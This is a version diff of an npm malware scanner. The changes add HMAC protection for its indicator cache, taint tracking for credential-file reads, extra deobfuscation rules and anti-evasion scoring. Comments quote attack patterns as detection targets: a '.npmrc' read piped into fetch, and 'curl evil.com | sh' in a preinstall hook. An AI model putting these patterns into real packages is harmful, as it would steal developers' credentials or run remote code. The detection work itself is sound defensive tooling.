muaddib-scanner 2.5.12 → 2.5.13
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/logs/alerts/{2026-03-07T16-18-04-719-evil-pkg.json → 2026-03-07T17-50-50-825-evil-pkg.json} +1 -1
- package/logs/alerts/{2026-03-07T16-18-04-720-suspect-pkg.json → 2026-03-07T17-50-50-826-suspect-pkg.json} +1 -1
- package/logs/alerts/{2026-03-07T16-18-04-720-evil-pkg.json → 2026-03-07T17-50-50-827-evil-pkg.json} +1 -1
- package/logs/alerts/{2026-03-07T16-18-05-033-evil-pkg.json → 2026-03-07T17-50-51-268-evil-pkg.json} +1 -1
- package/logs/daily-reports/2026-03-07.json +4 -4
- package/package.json +1 -1
- package/src/ioc/scraper.js +11 -1
- package/src/ioc/updater.js +17 -5
- package/src/scanner/dataflow.js +39 -0
- package/src/scanner/deobfuscate.js +58 -7
- package/src/scoring.js +20 -3
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"date": "2026-03-07",
|
|
3
|
-
"timestamp": "2026-03-
|
|
3
|
+
"timestamp": "2026-03-07T17:50:51.399Z",
|
|
4
4
|
"embed": {
|
|
5
5
|
"embeds": [
|
|
6
6
|
{
|
|
@@ -34,14 +34,14 @@
|
|
|
34
34
|
},
|
|
35
35
|
{
|
|
36
36
|
"name": "Top Suspects",
|
|
37
|
-
"value": "1. **npm/test-dedup-detection-
|
|
37
|
+
"value": "1. **npm/test-dedup-detection-1772905850823@1.0.0** — 1 finding(s)",
|
|
38
38
|
"inline": false
|
|
39
39
|
}
|
|
40
40
|
],
|
|
41
41
|
"footer": {
|
|
42
|
-
"text": "MUAD'DIB - Daily summary | 2026-03-07
|
|
42
|
+
"text": "MUAD'DIB - Daily summary | 2026-03-07 17:50:51 UTC"
|
|
43
43
|
},
|
|
44
|
-
"timestamp": "2026-03-
|
|
44
|
+
"timestamp": "2026-03-07T17:50:51.399Z"
|
|
45
45
|
}
|
|
46
46
|
]
|
|
47
47
|
},
|
package/package.json
CHANGED
package/src/ioc/scraper.js
CHANGED
|
@@ -1226,8 +1226,18 @@ async function runScraper() {
|
|
|
1226
1226
|
}
|
|
1227
1227
|
try {
|
|
1228
1228
|
const tmpHomeFile = HOME_IOC_FILE + '.tmp';
|
|
1229
|
-
|
|
1229
|
+
const homeJsonData = JSON.stringify(existingIOCs, null, 2);
|
|
1230
|
+
fs.writeFileSync(tmpHomeFile, homeJsonData);
|
|
1231
|
+
// Write HMAC before rename for consistency with updater.js
|
|
1232
|
+
const { generateIOCHMAC } = require('./updater.js');
|
|
1233
|
+
const homeHmac = generateIOCHMAC(homeJsonData);
|
|
1234
|
+
fs.writeFileSync(HOME_IOC_FILE + '.hmac', homeHmac);
|
|
1230
1235
|
fs.renameSync(tmpHomeFile, HOME_IOC_FILE);
|
|
1236
|
+
// Mark HMAC as initialized
|
|
1237
|
+
const hmacMarker = path.join(homeDir, '.hmac-initialized');
|
|
1238
|
+
if (!fs.existsSync(hmacMarker)) {
|
|
1239
|
+
try { fs.writeFileSync(hmacMarker, new Date().toISOString()); } catch {}
|
|
1240
|
+
}
|
|
1231
1241
|
saveSpinner.succeed('Saved IOCs + compact format + home directory');
|
|
1232
1242
|
} catch (e) {
|
|
1233
1243
|
saveSpinner.succeed('Saved IOCs + compact format (home dir write failed: ' + e.message + ')');
|
package/src/ioc/updater.js
CHANGED
|
@@ -100,14 +100,19 @@ async function updateIOCs() {
|
|
|
100
100
|
delete baseIOCs._fileSet;
|
|
101
101
|
|
|
102
102
|
// Atomic write: write to .tmp then rename (UP-001)
|
|
103
|
+
// HMAC written BEFORE rename to prevent race condition (crash between rename and HMAC write)
|
|
103
104
|
const tmpFile = CACHE_IOC_FILE + '.tmp';
|
|
104
105
|
const jsonData = JSON.stringify(baseIOCs);
|
|
105
106
|
fs.writeFileSync(tmpFile, jsonData);
|
|
106
|
-
fs.renameSync(tmpFile, CACHE_IOC_FILE);
|
|
107
|
-
|
|
108
|
-
// Write HMAC signature alongside the cache file
|
|
109
107
|
const hmac = generateIOCHMAC(jsonData);
|
|
110
108
|
fs.writeFileSync(CACHE_IOC_FILE + '.hmac', hmac);
|
|
109
|
+
fs.renameSync(tmpFile, CACHE_IOC_FILE);
|
|
110
|
+
|
|
111
|
+
// Mark HMAC as initialized — future loads require HMAC presence
|
|
112
|
+
const hmacMarker = path.join(HOME_DATA_PATH, '.hmac-initialized');
|
|
113
|
+
if (!fs.existsSync(hmacMarker)) {
|
|
114
|
+
try { fs.writeFileSync(hmacMarker, new Date().toISOString()); } catch {}
|
|
115
|
+
}
|
|
111
116
|
|
|
112
117
|
const totalNpm = baseIOCs.packages.length;
|
|
113
118
|
const totalPyPI = (baseIOCs.pypi_packages || []).length;
|
|
@@ -236,8 +241,15 @@ function loadCachedIOCs() {
|
|
|
236
241
|
mergeIOCs(merged, JSON.parse(cachedData));
|
|
237
242
|
}
|
|
238
243
|
} else {
|
|
239
|
-
// No HMAC file
|
|
240
|
-
|
|
244
|
+
// No HMAC file — check if HMAC was previously initialized
|
|
245
|
+
const hmacMarker = path.join(HOME_DATA_PATH, '.hmac-initialized');
|
|
246
|
+
if (fs.existsSync(hmacMarker)) {
|
|
247
|
+
// HMAC was initialized before but .hmac file is missing → possible tampering
|
|
248
|
+
console.log('[WARN] IOC cache HMAC file missing but was previously initialized — skipping cache.');
|
|
249
|
+
} else {
|
|
250
|
+
// First run or pre-HMAC version — load but warn
|
|
251
|
+
mergeIOCs(merged, JSON.parse(cachedData));
|
|
252
|
+
}
|
|
241
253
|
}
|
|
242
254
|
} catch (e) {
|
|
243
255
|
console.log('[WARN] Failed to load cached IOCs: ' + e.message);
|
package/src/scanner/dataflow.js
CHANGED
|
@@ -246,6 +246,16 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
246
246
|
name: callName,
|
|
247
247
|
line: node.loc?.start?.line
|
|
248
248
|
});
|
|
249
|
+
// 4.2: fs.readFile callback data tainting
|
|
250
|
+
// fs.readFile('.npmrc', (err, data) => {...}) — taint `data` param
|
|
251
|
+
if (callName === 'readFile' || callName === 'fs.readFile') {
|
|
252
|
+
const lastArg = node.arguments[node.arguments.length - 1];
|
|
253
|
+
if (lastArg && (lastArg.type === 'FunctionExpression' || lastArg.type === 'ArrowFunctionExpression')) {
|
|
254
|
+
if (lastArg.params && lastArg.params.length >= 2 && lastArg.params[1].type === 'Identifier') {
|
|
255
|
+
sensitivePathVars.add(lastArg.params[1].name);
|
|
256
|
+
}
|
|
257
|
+
}
|
|
258
|
+
}
|
|
249
259
|
}
|
|
250
260
|
}
|
|
251
261
|
|
|
@@ -267,6 +277,35 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
267
277
|
}
|
|
268
278
|
}
|
|
269
279
|
|
|
280
|
+
// 4.1: Promise .then() callback tainting
|
|
281
|
+
// fs.promises.readFile('.npmrc').then(data => fetch(url, {body: data}))
|
|
282
|
+
// Detect .then() on a call to fs.promises.readFile with sensitive path
|
|
283
|
+
if (node.callee.type === 'MemberExpression' &&
|
|
284
|
+
node.callee.property?.type === 'Identifier' && node.callee.property.name === 'then' &&
|
|
285
|
+
node.callee.object?.type === 'CallExpression') {
|
|
286
|
+
const innerCall = node.callee.object;
|
|
287
|
+
// Check if inner call is fs.promises.readFile(sensitivePath)
|
|
288
|
+
if (innerCall.callee?.type === 'MemberExpression' &&
|
|
289
|
+
innerCall.callee.object?.type === 'MemberExpression') {
|
|
290
|
+
const outerObj2 = innerCall.callee.object.object;
|
|
291
|
+
const mid2 = innerCall.callee.object.property;
|
|
292
|
+
const method2 = innerCall.callee.property;
|
|
293
|
+
if (outerObj2?.type === 'Identifier' && mid2?.type === 'Identifier' && mid2.name === 'promises' &&
|
|
294
|
+
method2?.type === 'Identifier' && method2.name === 'readFile') {
|
|
295
|
+
const isFs2 = outerObj2.name === 'fs' || (taintMap.get(outerObj2.name)?.source === 'fs');
|
|
296
|
+
if (isFs2 && innerCall.arguments[0] && isCredentialPath(innerCall.arguments[0], sensitivePathVars)) {
|
|
297
|
+
// Taint the first param of the .then() callback
|
|
298
|
+
const thenCb = node.arguments[0];
|
|
299
|
+
if (thenCb && (thenCb.type === 'FunctionExpression' || thenCb.type === 'ArrowFunctionExpression')) {
|
|
300
|
+
if (thenCb.params && thenCb.params.length >= 1 && thenCb.params[0].type === 'Identifier') {
|
|
301
|
+
sensitivePathVars.add(thenCb.params[0].name);
|
|
302
|
+
}
|
|
303
|
+
}
|
|
304
|
+
}
|
|
305
|
+
}
|
|
306
|
+
}
|
|
307
|
+
}
|
|
308
|
+
|
|
270
309
|
if (callName === 'request' || callName === 'fetch' || callName === 'post' || callName === 'get') {
|
|
271
310
|
sinks.push({
|
|
272
311
|
type: 'network_send',
|
|
@@ -47,6 +47,24 @@ function deobfuscate(sourceCode) {
|
|
|
47
47
|
});
|
|
48
48
|
},
|
|
49
49
|
|
|
50
|
+
// ---- 1b. TEMPLATE LITERAL FOLDING ----
|
|
51
|
+
// `child_process` → 'child_process' (no expression templates)
|
|
52
|
+
// `child_${'process'}` → 'child_process' (with resolvable expressions)
|
|
53
|
+
TemplateLiteral(node) {
|
|
54
|
+
const folded = tryFoldConcat(node);
|
|
55
|
+
if (folded === null) return;
|
|
56
|
+
const before = sourceCode.slice(node.start, node.end);
|
|
57
|
+
const after = quoteString(folded);
|
|
58
|
+
if (before === after) return; // no change
|
|
59
|
+
replacements.push({
|
|
60
|
+
start: node.start,
|
|
61
|
+
end: node.end,
|
|
62
|
+
value: after,
|
|
63
|
+
type: 'template_literal',
|
|
64
|
+
before
|
|
65
|
+
});
|
|
66
|
+
},
|
|
67
|
+
|
|
50
68
|
// ---- 2. CHARCODE REBUILD + 3. BASE64 DECODE ----
|
|
51
69
|
CallExpression(node) {
|
|
52
70
|
// String.fromCharCode(99, 104, 105, 108, 100) → "child"
|
|
@@ -199,14 +217,30 @@ function propagateConsts(sourceCode) {
|
|
|
199
217
|
VariableDeclaration(node) {
|
|
200
218
|
if (node.kind !== 'const') return;
|
|
201
219
|
for (const decl of node.declarations) {
|
|
202
|
-
if (decl.id?.type !== 'Identifier') continue;
|
|
203
220
|
if (!decl.init) continue;
|
|
204
|
-
|
|
205
|
-
|
|
206
|
-
|
|
207
|
-
|
|
208
|
-
|
|
209
|
-
|
|
221
|
+
// Standard: const x = 'literal'
|
|
222
|
+
if (decl.id?.type === 'Identifier') {
|
|
223
|
+
if (decl.init.type === 'Literal' && typeof decl.init.value === 'string') {
|
|
224
|
+
constMap.set(decl.id.name, {
|
|
225
|
+
value: decl.init.value,
|
|
226
|
+
declStart: decl.init.start,
|
|
227
|
+
declEnd: decl.init.end
|
|
228
|
+
});
|
|
229
|
+
}
|
|
230
|
+
}
|
|
231
|
+
// Array destructuring: const [a, b] = ['child_', 'process']
|
|
232
|
+
if (decl.id?.type === 'ArrayPattern' && decl.init?.type === 'ArrayExpression') {
|
|
233
|
+
for (let i = 0; i < decl.id.elements.length && i < decl.init.elements.length; i++) {
|
|
234
|
+
if (decl.id.elements[i]?.type === 'Identifier' &&
|
|
235
|
+
decl.init.elements[i]?.type === 'Literal' &&
|
|
236
|
+
typeof decl.init.elements[i].value === 'string') {
|
|
237
|
+
constMap.set(decl.id.elements[i].name, {
|
|
238
|
+
value: decl.init.elements[i].value,
|
|
239
|
+
declStart: decl.init.elements[i].start,
|
|
240
|
+
declEnd: decl.init.elements[i].end
|
|
241
|
+
});
|
|
242
|
+
}
|
|
243
|
+
}
|
|
210
244
|
}
|
|
211
245
|
}
|
|
212
246
|
},
|
|
@@ -349,6 +383,23 @@ function tryFoldConcat(node, depth) {
|
|
|
349
383
|
if (node.type === 'Literal' && typeof node.value === 'string') {
|
|
350
384
|
return node.value;
|
|
351
385
|
}
|
|
386
|
+
// TemplateLiteral without expressions → direct string
|
|
387
|
+
if (node.type === 'TemplateLiteral' && node.expressions.length === 0) {
|
|
388
|
+
return node.quasis.map(q => q.value.cooked).join('');
|
|
389
|
+
}
|
|
390
|
+
// TemplateLiteral with resolvable expressions
|
|
391
|
+
if (node.type === 'TemplateLiteral' && node.expressions.length > 0) {
|
|
392
|
+
const parts = [];
|
|
393
|
+
for (let i = 0; i < node.quasis.length; i++) {
|
|
394
|
+
parts.push(node.quasis[i].value.cooked);
|
|
395
|
+
if (i < node.expressions.length) {
|
|
396
|
+
const v = tryFoldConcat(node.expressions[i], depth + 1);
|
|
397
|
+
if (v === null) return null;
|
|
398
|
+
parts.push(v);
|
|
399
|
+
}
|
|
400
|
+
}
|
|
401
|
+
return parts.join('');
|
|
402
|
+
}
|
|
352
403
|
if (node.type === 'BinaryExpression' && node.operator === '+') {
|
|
353
404
|
const left = tryFoldConcat(node.left, depth + 1);
|
|
354
405
|
if (left === null) return null;
|
package/src/scoring.js
CHANGED
|
@@ -177,9 +177,21 @@ function applyFPReductions(threats, reachableFiles, packageName) {
|
|
|
177
177
|
// Threshold raised from >1 to >4 (audit fix: >1 was trivially exploitable).
|
|
178
178
|
const pluginLoaderCount = (typeCounts.dynamic_require || 0) + (typeCounts.dynamic_import || 0);
|
|
179
179
|
if (pluginLoaderCount > 4) {
|
|
180
|
+
// Per-file: only downgrade in files that individually exceed threshold
|
|
181
|
+
// Prevents attacker from distributing 5+ requires across files to downgrade all
|
|
182
|
+
const perFilePluginCount = {};
|
|
183
|
+
for (const t of threats) {
|
|
184
|
+
if (t.type === 'dynamic_require' || t.type === 'dynamic_import') {
|
|
185
|
+
const f = t.file || '(unknown)';
|
|
186
|
+
perFilePluginCount[f] = (perFilePluginCount[f] || 0) + 1;
|
|
187
|
+
}
|
|
188
|
+
}
|
|
180
189
|
for (const t of threats) {
|
|
181
190
|
if ((t.type === 'dynamic_require' || t.type === 'dynamic_import') && t.severity === 'HIGH') {
|
|
182
|
-
t.
|
|
191
|
+
const f = t.file || '(unknown)';
|
|
192
|
+
if (perFilePluginCount[f] > 4) {
|
|
193
|
+
t.severity = 'LOW';
|
|
194
|
+
}
|
|
183
195
|
}
|
|
184
196
|
}
|
|
185
197
|
}
|
|
@@ -199,7 +211,7 @@ function applyFPReductions(threats, reachableFiles, packageName) {
|
|
|
199
211
|
// vm_code_execution: full bypass — packages with only vm.Script calls (cassandra-driver,
|
|
200
212
|
// webpack, jest) are legitimate. Real malware using vm always has other signals
|
|
201
213
|
// (network, fs, obfuscation). The >3 count threshold is sufficient protection.
|
|
202
|
-
if (typeRatio < 0.
|
|
214
|
+
if (typeRatio < 0.4 ||
|
|
203
215
|
(t.type === 'suspicious_dataflow' && typeRatio < 0.8) ||
|
|
204
216
|
t.type === 'vm_code_execution') {
|
|
205
217
|
t.severity = rule.to;
|
|
@@ -296,7 +308,12 @@ function calculateRiskScore(deduped) {
|
|
|
296
308
|
}
|
|
297
309
|
|
|
298
310
|
// 4. Compute package-level score (typosquat, lifecycle, dependency IOC, etc.)
|
|
299
|
-
|
|
311
|
+
let packageScore = computeGroupScore(packageLevelThreats);
|
|
312
|
+
// Floor: CRITICAL package-level threats (lifecycle_shell_pipe, IOC match) → minimum HIGH (50)
|
|
313
|
+
// A single "curl evil.com | sh" in preinstall = 25 points = MEDIUM without floor.
|
|
314
|
+
if (packageScore >= 25 && packageLevelThreats.some(t => t.severity === 'CRITICAL')) {
|
|
315
|
+
packageScore = Math.max(packageScore, 50);
|
|
316
|
+
}
|
|
300
317
|
|
|
301
318
|
// 5. Cross-file bonus: aggregate signal from non-max files
|
|
302
319
|
// A package with 3 files each scoring 20 is more suspicious than 1 file scoring 20.
|